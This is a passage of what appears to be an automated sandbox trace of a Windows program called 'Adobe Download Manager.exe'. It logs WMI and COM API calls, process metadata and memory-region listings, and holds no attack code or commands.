(hModule=0x6bb50000, lpProcName="BeginMethodEnumeration") returned 0x6bb52070 [0148.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NextMethod", cchWideChar=10, lpMultiByteStr=0x4cfed20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NextMethodÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 10 [0148.070] GetProcAddress (hModule=0x6bb50000, lpProcName="NextMethod") returned 0x6bb52940 [0148.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndMethodEnumeration", cchWideChar=20, lpMultiByteStr=0x4cfed14, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndMethodEnumeration´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 20 [0148.075] GetProcAddress (hModule=0x6bb50000, lpProcName="EndMethodEnumeration") returned 0x6bb524f0 [0148.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodQualifierSet", cchWideChar=21, lpMultiByteStr=0x4cfed14, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodQualifierSet ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 21 [0148.076] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethodQualifierSet") returned 0x6bb52710 [0148.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethodOrigin", cchWideChar=15, lpMultiByteStr=0x4cfed18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethodOrigin", lpUsedDefaultChar=0x0) returned 15 [0148.076] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethodOrigin") returned 0x6bb526e0 [0148.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Get", cchWideChar=16, lpMultiByteStr=0x4cfed18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Get´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 16 [0148.077] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Get") returned 0x6bb52b70 [0148.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Put", cchWideChar=16, lpMultiByteStr=0x4cfed18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Put´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 16 [0148.305] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Put") returned 0x6bb52c00 [0148.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Delete", cchWideChar=19, lpMultiByteStr=0x4cfed14, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Delete", lpUsedDefaultChar=0x0) returned 19 [0148.309] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Delete") returned 0x6bb52b30 [0148.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_GetNames", cchWideChar=21, lpMultiByteStr=0x4cfed14, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_GetNames ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 21 [0148.309] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_GetNames") returned 0x6bb52ba0 [0148.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_BeginEnumeration", cchWideChar=29, lpMultiByteStr=0x4cfed0c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_BeginEnumeration ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 29 [0148.314] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_BeginEnumeration") returned 0x6bb52b10 [0148.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_Next", cchWideChar=17, lpMultiByteStr=0x4cfed18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_Next ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 17 [0148.315] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_Next") returned 0x6bb52bd0 [0148.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="QualifierSet_EndEnumeration", cchWideChar=27, lpMultiByteStr=0x4cfed0c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QualifierSet_EndEnumeration", lpUsedDefaultChar=0x0) returned 27 [0148.324] GetProcAddress (hModule=0x6bb50000, lpProcName="QualifierSet_EndEnumeration") returned 0x6bb52b50 [0148.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetCurrentApartmentType", cchWideChar=23, lpMultiByteStr=0x4cfed10, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetCurrentApartmentType", lpUsedDefaultChar=0x0) returned 23 [0148.325] GetProcAddress (hModule=0x6bb50000, lpProcName="GetCurrentApartmentType") returned 0x6bb52860 [0148.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetDemultiplexedStub", cchWideChar=20, lpMultiByteStr=0x4cfed14, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDemultiplexedStub´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 20 [0148.332] GetProcAddress (hModule=0x6bb50000, lpProcName="GetDemultiplexedStub") returned 0x6bb52660 [0148.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateInstanceEnumWmi", cchWideChar=21, lpMultiByteStr=0x4cfed14, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateInstanceEnumWmi ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 21 [0148.338] GetProcAddress (hModule=0x6bb50000, lpProcName="CreateInstanceEnumWmi") returned 0x6bb52380 [0148.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateClassEnumWmi", cchWideChar=18, lpMultiByteStr=0x4cfed18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateClassEnumWmiÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 18 [0148.398] GetProcAddress (hModule=0x6bb50000, lpProcName="CreateClassEnumWmi") returned 0x6bb522f0 [0148.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecQueryWmi", cchWideChar=12, lpMultiByteStr=0x4cfed1c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecQueryWmi´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 12 [0148.400] GetProcAddress (hModule=0x6bb50000, lpProcName="ExecQueryWmi") returned 0x6bb525a0 [0148.437] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ExecNotificationQueryWmi", cchWideChar=24, lpMultiByteStr=0x4cfed10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ExecNotificationQueryWmi´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 24 [0148.438] GetProcAddress (hModule=0x6bb50000, lpProcName="ExecNotificationQueryWmi") returned 0x6bb52510 [0148.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutInstanceWmi", cchWideChar=14, lpMultiByteStr=0x4cfed1c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutInstanceWmiÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 14 [0148.440] GetProcAddress (hModule=0x6bb50000, lpProcName="PutInstanceWmi") returned 0x6bb52a40 [0148.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutClassWmi", cchWideChar=11, lpMultiByteStr=0x4cfed1c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutClassWmi", lpUsedDefaultChar=0x0) returned 11 [0148.475] GetProcAddress (hModule=0x6bb50000, lpProcName="PutClassWmi") returned 0x6bb529a0 [0148.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x4cfed10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 24 [0148.477] GetProcAddress (hModule=0x6bb50000, lpProcName="CloneEnumWbemClassObject") returned 0x6bb52170 [0148.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x4cfed18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 16 [0148.486] GetProcAddress (hModule=0x6bb50000, lpProcName="ConnectServerWmi") returned 0x6bb52230 [0148.496] CoCreateInstance (in: rclsid=0x6bb513b4*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6bb51414*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x4cff444 | out: ppv=0x4cff444*=0xf6fe50) returned 0x0 [0148.496] WbemLocator:IWbemLocator:ConnectServer (in: This=0xf6fe50, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x4cff4d8 | out: ppNamespace=0x4cff4d8*=0xf27b20) returned 0x0 [0149.331] WbemLocator:IUnknown:QueryInterface (in: This=0xf27b20, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cff36c | out: ppvObject=0x4cff36c*=0xf8dc44) returned 0x0 [0149.331] WbemLocator:IClientSecurity:QueryBlanket (in: This=0xf8dc44, pProxy=0xf27b20, pAuthnSvc=0x4cff3bc, pAuthzSvc=0x4cff3b8, pServerPrincName=0x4cff3b0, pAuthnLevel=0x4cff3b4, pImpLevel=0x4cff3a4, pAuthInfo=0x4cff3a8, pCapabilites=0x4cff3ac | out: pAuthnSvc=0x4cff3bc*=0xa, pAuthzSvc=0x4cff3b8*=0x0, pServerPrincName=0x4cff3b0, pAuthnLevel=0x4cff3b4*=0x6, pImpLevel=0x4cff3a4*=0x2, pAuthInfo=0x4cff3a8, pCapabilites=0x4cff3ac*=0x1) returned 0x0 [0149.331] WbemLocator:IUnknown:Release (This=0xf8dc44) returned 0x1 [0149.331] WbemLocator:IUnknown:QueryInterface (in: This=0xf27b20, riid=0x6bb51224*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cff360 | out: ppvObject=0x4cff360*=0xf8dc68) returned 0x0 [0149.331] WbemLocator:IUnknown:QueryInterface (in: This=0xf27b20, riid=0x6bb51234*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cff34c | out: ppvObject=0x4cff34c*=0xf8dc44) returned 0x0 [0149.332] WbemLocator:IClientSecurity:SetBlanket (This=0xf8dc44, pProxy=0xf27b20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.332] WbemLocator:IUnknown:Release (This=0xf8dc44) returned 0x2 [0149.332] WbemLocator:IUnknown:Release (This=0xf8dc68) returned 0x1 [0149.332] CoTaskMemFree (pv=0xf8fa10) [0149.332] WbemLocator:IUnknown:Release (This=0xf6fe50) returned 0x0 [0149.332] WbemLocator:IUnknown:QueryInterface (in: This=0xf27b20, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfef5c | out: ppvObject=0x4cfef5c*=0xf8dc68) returned 0x0 [0149.332] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4cfef18 | out: ppvObject=0x4cfef18*=0x0) returned 0x80004002 [0149.333] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f209bb4*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4cfed34 | out: ppvObject=0x4cfed34*=0x0) returned 0x80004002 [0149.334] WbemLocator:IUnknown:QueryInterface (in: This=0xf27b20, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x4cfeb0c | out: ppvObject=0x4cfeb0c*=0x0) returned 0x80004002 [0149.334] WbemLocator:IUnknown:AddRef (This=0xf8dc68) returned 0x3 [0149.334] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x4cfe86c | out: ppvObject=0x4cfe86c*=0x0) returned 0x80004002 [0149.334] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x4cfe81c | out: ppvObject=0x4cfe81c*=0x0) returned 0x80004002 [0149.334] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfe828 | out: ppvObject=0x4cfe828*=0xf8dbc4) returned 0x0 [0149.335] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0xf8dbc4, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x4cfe830 | out: pCid=0x4cfe830*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.335] WbemLocator:IUnknown:Release (This=0xf8dbc4) returned 0x3 [0149.335] CoGetContextToken (in: pToken=0x4cfe888 | out: pToken=0x4cfe888) returned 0x0 [0149.335] CoGetContextToken (in: pToken=0x4cfec90 | out: pToken=0x4cfec90) returned 0x0 [0149.335] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfed1c | out: ppvObject=0x4cfed1c*=0xf8dc4c) returned 0x0 [0149.335] WbemLocator:IRpcOptions:Query (in: This=0xf8dc4c, pPrx=0xf8dc68, dwProperty=2, pdwValue=0x4cfed28 | out: pdwValue=0x4cfed28) returned 0x80004002 [0149.336] WbemLocator:IUnknown:Release (This=0xf8dc4c) returned 0x3 [0149.336] WbemLocator:IUnknown:Release (This=0xf8dc68) returned 0x2 [0149.336] CoGetContextToken (in: pToken=0x4cff270 | out: pToken=0x4cff270) returned 0x0 [0149.336] CoGetContextToken (in: pToken=0x4cff1d0 | out: pToken=0x4cff1d0) returned 0x0 [0149.336] WbemLocator:IUnknown:QueryInterface (in: This=0xf8dc68, riid=0x4cff2a0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x4cff29c | out: ppvObject=0x4cff29c*=0xf27b20) returned 0x0 [0149.336] WbemLocator:IUnknown:AddRef (This=0xf27b20) returned 0x4 [0149.336] WbemLocator:IUnknown:Release (This=0xf27b20) returned 0x3 [0149.336] WbemLocator:IUnknown:Release (This=0xf27b20) returned 0x2 [0149.346] SysStringLen (param_1=0x0) returned 0x0 [0149.347] CoUninitialize () Thread: id = 115 os_tid = 0x12a4 [0149.361] CoGetContextToken (in: pToken=0x4cfefe4 | out: pToken=0x4cfefe4) returned 0x0 [0149.361] CoGetContextToken (in: pToken=0x4cfefd4 | out: pToken=0x4cfefd4) returned 0x0 [0149.362] CoGetMarshalSizeMax (in: pulSize=0x4cfef90, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xf8dc68, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x4cfef90) returned 0x0 [0149.363] CoMarshalInterface (pStm=0xf8c688, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0xf8dc68, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 Thread: id = 146 os_tid = 0x1210 Thread: id = 147 os_tid = 0x11f0 [0151.812] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0151.812] RoInitialize () returned 0x1 [0151.812] RoUninitialize () returned 0x0 [0151.814] ResetEvent (hEvent=0x3f4) returned 1 Thread: id = 154 os_tid = 0x1344 Process: id = "5" image_name = "adobe download manager.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe" page_root = "0x4ed57000" os_pid = "0x123c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1184" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe\"" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 803 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 804 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 805 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 806 start_va = 0x90000 end_va = 0x93fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 807 start_va = 0xa0000 end_va = 0xa1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 808 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 809 start_va = 0x2b0000 end_va = 0x4b9fff monitored = 1 entry_point = 0x2d7dcd region_type = mapped_file name = "adobe download manager.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe") Region: id = 810 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 811 start_va = 0xbf0000 end_va = 0xbf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 812 start_va = 0xc00000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 813 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 814 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 815 start_va = 0xfeff0000 end_va = 0xff012fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000feff0000" filename = "" Region: id = 816 start_va = 0xfffe0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 817 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 818 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 824 start_va = 0x1000000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001000000" filename = "" Region: id = 2237 start_va = 0xc0000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2238 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2239 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2240 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2241 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2242 start_va = 0x1020000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 2243 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2244 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2245 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2246 start_va = 0xfeef0000 end_va = 0xfefeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000feef0000" filename = "" Region: id = 2247 start_va = 0x130000 end_va = 0x1edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2248 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2249 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2250 start_va = 0xc0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2251 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2252 start_va = 0x4c0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 2253 start_va = 0xbf0000 end_va = 0xbf3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 2254 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2255 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2256 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2257 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2258 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2259 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2260 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = 